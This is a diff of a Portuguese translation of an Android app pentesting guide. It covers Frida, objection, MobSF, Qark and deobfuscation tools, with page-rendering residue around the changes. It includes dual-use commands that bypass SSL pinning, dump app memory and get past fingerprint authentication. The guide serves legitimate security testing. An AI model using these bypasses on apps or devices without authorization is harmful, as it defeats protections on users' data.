- Você pode usar **Frida** (discutido abaixo) para contornar essa proteção. Aqui você tem um guia para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Modifique automaticamente o **apk** para **contornar** o SSL Pinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). O melhor pró dessa opção é que você não precisará de root para contornar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará.
|
||||
- Você pode usar **Frida** (discutido abaixo) para contornar essa proteção. Aqui está um guia para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Você também pode tentar **contornar automaticamente o SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Você também pode tentar **contornar automaticamente o SSL Pinning** usando **análise dinâmica do MobSF** (explicado abaixo)
|
||||
- Se você ainda acha que há algum tráfego que não está capturando, pode tentar **encaminhar o tráfego para o burp usando iptables**. Leia este blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
@ -436,7 +440,7 @@ Quando o SSL Pinning é implementado, contorná-lo se torna necessário para ins
|
||||
|
||||
[Frida](https://www.frida.re) é uma ferramenta de instrumentação dinâmica para desenvolvedores, engenheiros reversos e pesquisadores de segurança.\
|
||||
**Você pode acessar aplicativos em execução e conectar métodos em tempo de execução para mudar o comportamento, alterar valores, extrair valores, executar códigos diferentes...**\
|
||||
Se você deseja fazer pentesting em aplicativos Android, precisa saber como usar o Frida.
|
||||
Se você quiser fazer pentesting em aplicativos Android, precisa saber como usar o Frida.
|
||||
|
||||
- Aprenda a usar o Frida: [**Tutorial Frida**](frida-tutorial/index.html)
|
||||
- Algumas "GUI" para ações com Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
@ -448,7 +452,7 @@ Se você deseja fazer pentesting em aplicativos Android, precisa saber como usar
|
||||
|
||||
Verifique se o aplicativo está armazenando informações sensíveis na memória que não deveria estar armazenando, como senhas ou mnemônicos.
|
||||
|
||||
Usando [**Fridump3**](https://github.com/rootbsd/fridump3), você pode despejar a memória do aplicativo com:
|
||||
Usando [**Fridump3**](https://github.com/rootbsd/fridump3), você pode despejar a memória do app com:
|
||||
```bash
|
||||
# With PID
|
||||
python3 fridump3.py -u <PID>
|
||||
@ -473,13 +477,13 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Bypass de Impressão Digital/Biometria**
|
||||
|
||||
Usando o seguinte script Frida, pode ser possível **bypassar a autenticação por impressão digital** que aplicativos Android podem estar realizando para **proteger certas áreas sensíveis:**
|
||||
Usando o seguinte script Frida, pode ser possível **burlar a autenticação por impressão digital** que aplicativos Android podem estar realizando para **proteger certas áreas sensíveis:**
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **Imagens de Fundo**
|
||||
|
||||
Quando você coloca um aplicativo em segundo plano, o Android armazena um **instantâneo do aplicativo** para que, quando ele for recuperado para o primeiro plano, comece a carregar a imagem antes do aplicativo, fazendo parecer que o aplicativo foi carregado mais rápido.
|
||||
Quando você coloca um aplicativo em segundo plano, o Android armazena um **instantâneo do aplicativo** para que, quando ele for recuperado para o primeiro plano, comece a carregar a imagem antes do app, fazendo parecer que o app foi carregado mais rápido.
|
||||
|
||||
No entanto, se esse instantâneo contiver **informações sensíveis**, alguém com acesso ao instantâneo pode **roubar essas informações** (note que você precisa de root para acessá-lo).
|
||||
|
||||
@ -512,7 +516,7 @@ Provavelmente você conhece esse tipo de vulnerabilidades da Web. Você deve ter
|
||||
|
||||
- **Injeção SQL:** Ao lidar com consultas dinâmicas ou Content-Providers, certifique-se de usar consultas parametrizadas.
|
||||
- **Injeção de JavaScript (XSS):** Verifique se o suporte a JavaScript e Plugins está desativado para quaisquer WebViews (desativado por padrão). [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
- **Inclusão de Arquivo Local:** WebViews devem ter acesso ao sistema de arquivos desativado (ativado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
- **Inclusão de Arquivos Locais:** WebViews devem ter acesso ao sistema de arquivos desativado (ativado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
- **Cookies Eternos**: Em vários casos, quando a aplicação android finaliza a sessão, o cookie não é revogado ou pode até ser salvo no disco.
|
||||
- [**Secure Flag** em cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
@ -526,7 +530,7 @@ Provavelmente você conhece esse tipo de vulnerabilidades da Web. Você deve ter
|
||||
|
||||
.png>)
|
||||
|
||||
**Avaliação de vulnerabilidade da aplicação** usando uma interface web agradável. Você também pode realizar análise dinâmica (mas precisa preparar o ambiente).
|
||||
**Avaliação de vulnerabilidades da aplicação** usando uma interface web agradável. Você também pode realizar análise dinâmica (mas precisa preparar o ambiente).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
@ -541,7 +545,7 @@ O MobSF também permite que você **diff/Compare** análises e integre **VirusTo
|
||||
**MobSF** também pode ser muito útil para **análise dinâmica** em **Android**, mas nesse caso você precisará instalar o MobSF e **genymotion** em seu host (uma VM ou Docker não funcionará). _Nota: Você precisa **iniciar primeiro uma VM no genymotion** e **depois o MobSF.**_\
|
||||
O **analisador dinâmico do MobSF** pode:
|
||||
|
||||
- **Dump application data** (URLs, logs, área de transferência, capturas de tela feitas por você, capturas de tela feitas por "**Exported Activity Tester**", e-mails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas capturas de tela, você precisa pressionar quando quiser uma captura de tela ou precisa pressionar "**Exported Activity Tester**" para obter capturas de tela de todas as atividades exportadas.
|
||||
- **Dump de dados da aplicação** (URLs, logs, área de transferência, capturas de tela feitas por você, capturas de tela feitas por "**Exported Activity Tester**", e-mails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas capturas de tela, você precisa pressionar quando quiser uma captura de tela ou precisa pressionar "**Exported Activity Tester**" para obter capturas de tela de todas as atividades exportadas.
|
||||
- Capturar **tráfego HTTPS**
|
||||
- Usar **Frida** para obter **informações em tempo de execução**
|
||||
|
||||
@ -549,28 +553,28 @@ A partir das versões **Android > 5**, ele **iniciará automaticamente o Frida**
|
||||
|
||||
**Frida**
|
||||
|
||||
Por padrão, ele também usará alguns Scripts Frida para **bypass SSL pinning**, **detecção de root** e **detecção de depurador** e para **monitorar APIs interessantes**.\
|
||||
Por padrão, ele também usará alguns Scripts Frida para **bypassar SSL pinning**, **detecção de root** e **detecção de depurador** e para **monitorar APIs interessantes**.\
|
||||
O MobSF também pode **invocar atividades exportadas**, capturar **capturas de tela** delas e **salvá-las** para o relatório.
|
||||
|
||||
Para **iniciar** o teste dinâmico, pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts Frida e "**Live API Monitor**" para ver todas as invocações para métodos hookados, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\
|
||||
O MobSF também permite que você carregue seus próprios **scripts Frida** (para enviar os resultados de seus scripts Frida para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Load**" e pressionar "**Start Instrumentation**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
|
||||
O MobSF também permite que você carregue seus próprios **scripts Frida** (para enviar os resultados dos seus scripts Frida para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Load**" e pressionar "**Start Instrumentation**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
|
||||
Além disso, você tem algumas funcionalidades auxiliares do Frida:
|
||||
|
||||
- **Enumerate Loaded Classes**: Ele imprimirá todas as classes carregadas
|
||||
- **Capture Strings**: Ele imprimirá todas as strings capturadas enquanto usa o aplicativo (muito barulhento)
|
||||
- **Capture String Comparisons**: Pode ser muito útil. Ele **mostrará as 2 strings sendo comparadas** e se o resultado foi Verdadeiro ou Falso.
|
||||
- **Enumerate Class Methods**: Coloque o nome da classe (como "java.io.File") e ele imprimirá todos os métodos da classe.
|
||||
- **Search Class Pattern**: Pesquisar classes por padrão
|
||||
- **Trace Class Methods**: **Trace** uma **classe inteira** (veja entradas e saídas de todos os métodos da classe). Lembre-se de que, por padrão, o MobSF traça vários métodos interessantes da API do Android.
|
||||
- **Enumerar Classes Carregadas**: Ele imprimirá todas as classes carregadas
|
||||
- **Capturar Strings**: Ele imprimirá todas as strings capturadas enquanto usa o aplicativo (muito barulhento)
|
||||
- **Capturar Comparações de Strings**: Pode ser muito útil. Ele **mostrará as 2 strings sendo comparadas** e se o resultado foi Verdadeiro ou Falso.
|
||||
- **Enumerar Métodos de Classe**: Coloque o nome da classe (como "java.io.File") e ele imprimirá todos os métodos da classe.
|
||||
- **Pesquisar Padrão de Classe**: Pesquisar classes por padrão
|
||||
- **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que, por padrão, o MobSF rastreia vários métodos interessantes da API Android.
|
||||
|
||||
Uma vez que você tenha selecionado o módulo auxiliar que deseja usar, você precisa pressionar "**Start Intrumentation**" e verá todas as saídas em "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
O MobSF também oferece um shell com alguns comandos **adb**, **comandos MobSF** e comandos comuns de **shell** na parte inferior da página de análise dinâmica. Alguns comandos interessantes:
|
||||
O MobSF também traz um shell com alguns comandos **adb**, comandos **MobSF** e comandos comuns de **shell** na parte inferior da página de análise dinâmica. Alguns comandos interessantes:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -581,12 +585,12 @@ receivers
|
||||
```
|
||||
**Ferramentas HTTP**
|
||||
|
||||
Quando o tráfego http é capturado, você pode ver uma visão feia do tráfego capturado no "**Tráfego HTTP(S)**" na parte inferior ou uma visão mais agradável no botão verde "**Iniciar HTTPTools**". A partir da segunda opção, você pode **enviar** as **requisições capturadas** para **proxies** como Burp ou Owasp ZAP.\
|
||||
Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a requisição_ --> pressione "**Enviar para Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
Quando o tráfego http é capturado, você pode ver uma visão feia do tráfego capturado no "**HTTP(S) Traffic**" na parte inferior ou uma visão mais agradável no botão verde "**Start HTTPTools**". A partir da segunda opção, você pode **enviar** as **requisições capturadas** para **proxies** como Burp ou Owasp ZAP.\
|
||||
Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a requisição_ --> pressione "**Send to Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Uma vez que você termine a análise dinâmica com MobSF, você pode pressionar em "**Iniciar Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades.
|
||||
Uma vez que você termine a análise dinâmica com MobSF, você pode pressionar em "**Start Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades.
|
||||
|
||||
> [!DICA]
|
||||
> [!TIP]
|
||||
> Após realizar uma análise dinâmica com MobSF, as configurações do proxy podem estar mal configuradas e você não conseguirá corrigi-las pela GUI. Você pode corrigir as configurações do proxy fazendo:
|
||||
>
|
||||
> ```
|
||||
@ -595,7 +599,7 @@ Uma vez que você termine a análise dinâmica com MobSF, você pode pressionar
|
||||
|
||||
### Análise Dinâmica Assistida com Inspeckage
|
||||
|
||||
Você pode obter a ferramenta em [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Você pode obter a ferramenta de [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Esta ferramenta usará alguns **Hooks** para te informar **o que está acontecendo na aplicação** enquanto você realiza uma **análise dinâmica**.
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
@ -606,7 +610,7 @@ Esta é uma **ótima ferramenta para realizar análise estática com uma GUI**
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Esta ferramenta é projetada para procurar várias **vulnerabilidades relacionadas à segurança em aplicações Android**, seja no **código fonte** ou em **APKs empacotados**. A ferramenta também é **capaz de criar um APK "Proof-of-Concept" implantável** e **comandos ADB**, para explorar algumas das vulnerabilidades encontradas (Atividades expostas, intents, tapjacking...). Assim como com o Drozer, não há necessidade de rootear o dispositivo de teste.
|
||||
Esta ferramenta é projetada para procurar várias **vulnerabilidades relacionadas à segurança em aplicações Android**, seja no **código fonte** ou em **APKs empacotados**. A ferramenta também é **capaz de criar um "Proof-of-Concept" APK implantável** e **comandos ADB**, para explorar algumas das vulnerabilidades encontradas (Atividades expostas, intents, tapjacking...). Assim como com o Drozer, não há necessidade de rootear o dispositivo de teste.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -640,7 +644,7 @@ super-analyzer {apk_file}
|
||||
|
||||
StaCoAn é uma ferramenta **multiplataforma** que ajuda desenvolvedores, caçadores de bugs e hackers éticos a realizar [análise de código estático](https://en.wikipedia.org/wiki/Static_program_analysis) em aplicativos móveis.
|
||||
|
||||
O conceito é que você arraste e solte seu arquivo de aplicativo móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela gerará um relatório visual e portátil para você. Você pode ajustar as configurações e listas de palavras para obter uma experiência personalizada.
|
||||
O conceito é que você arrasta e solta seu arquivo de aplicativo móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela gerará um relatório visual e portátil para você. Você pode ajustar as configurações e listas de palavras para obter uma experiência personalizada.
|
||||
|
||||
Baixe a [última versão](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
@ -648,7 +652,7 @@ Baixe a [última versão](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
AndroBugs Framework é um sistema de análise de vulnerabilidades Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicações Android.\
|
||||
O AndroBugs Framework é um sistema de análise de vulnerabilidades para Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicações Android.\
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -677,13 +681,13 @@ Ele é capaz de:
|
||||
- Extrair informações privadas do APK usando regexps.
|
||||
- Analisar o Manifest.
|
||||
- Analisar domínios encontrados usando: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) e [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Deobfuscar APK via [apk-deguard.com](http://www.apk-deguard.com)
|
||||
- Deofuscar APK via [apk-deguard.com](http://www.apk-deguard.com)
|
||||
|
||||
### Koodous
|
||||
|
||||
Útil para detectar malware: [https://koodous.com/](https://koodous.com)
|
||||
|
||||
## Obfuscating/Deobfuscating code
|
||||
## Ofuscando/Deofuscando código
|
||||
|
||||
Observe que dependendo do serviço e configuração que você usa para ofuscar o código. Segredos podem ou não acabar ofuscados.
|
||||
|
||||
@ -691,17 +695,17 @@ Observe que dependendo do serviço e configuração que você usa para ofuscar o
|
||||
|
||||
Do [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** é uma ferramenta de linha de comando de código aberto que reduz, otimiza e ofusca código Java. É capaz de otimizar bytecode, bem como detectar e remover instruções não utilizadas. ProGuard é software livre e é distribuído sob a Licença Pública Geral GNU, versão 2.
|
||||
|
||||
ProGuard é distribuído como parte do SDK do Android e é executado ao construir o aplicativo em modo de lançamento.
|
||||
ProGuard é distribuído como parte do SDK do Android e é executado ao construir a aplicação em modo de lançamento.
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Encontre um guia passo a passo para deobfuscar o apk em [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
Encontre um guia passo a passo para deofuscar o apk em [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(Daquele guia) Na última vez que verificamos, o modo de operação do Dexguard era:
|
||||
|
||||
- carregar um recurso como um InputStream;
|
||||
- alimentar o resultado a uma classe que herda de FilterInputStream para descriptografá-lo;
|
||||
- fazer alguma ofuscação inútil para desperdiçar alguns minutos do tempo de um reverser;
|
||||
- fazer alguma ofuscação inútil para desperdiçar alguns minutos de tempo de um reversor;
|
||||
- alimentar o resultado descriptografado a um ZipInputStream para obter um arquivo DEX;
|
||||
- finalmente carregar o DEX resultante como um Recurso usando o método `loadDex`.
|
||||
|
||||
@ -711,13 +715,13 @@ Encontre um guia passo a passo para deobfuscar o apk em [https://blog.lexfo.fr/d
|
||||
|
||||
Você pode enviar um APK ofuscado para a plataforma deles.
|
||||
|
||||
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
|
||||
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||
|
||||
Esta é uma ferramenta LLM para encontrar quaisquer vulnerabilidades de segurança potenciais em aplicativos android e deobfuscar o código do aplicativo android. Usa a API pública Gemini do Google.
|
||||
Esta é uma ferramenta LLM para encontrar quaisquer vulnerabilidades de segurança potenciais em aplicativos android e deofuscar o código do aplicativo android. Usa a API pública Gemini do Google.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
É um **deobfuscador android genérico.** Simplify **executa virtualmente um aplicativo** para entender seu comportamento e então **tenta otimizar o código** para que se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual o tipo específico de ofuscação utilizado.
|
||||
É um **deofuscador android genérico.** Simplify **executa virtualmente um aplicativo** para entender seu comportamento e então **tenta otimizar o código** para que se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual o tipo específico de ofuscação utilizado.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
@ -731,9 +735,9 @@ APKiD fornece informações sobre **como um APK foi feito**. Ele identifica muit
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui a coleção dos últimos frameworks, tutoriais e laboratórios de diferentes especialistas e pesquisadores de segurança para engenharia reversa e análise de malware.
|
||||
AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui a coleção dos últimos frameworks, tutoriais e labs de diferentes especialistas em segurança e pesquisadores para engenharia reversa e análise de malware.
|
||||
|
||||
## References
|
||||
## Referências
|
||||
|
||||
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) É uma ótima lista de recursos
|
||||
@ -742,7 +746,7 @@ AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate qu
|
||||
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
||||
|
||||
## Yet to try
|
||||
## Ainda a tentar
|
||||
|
||||
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user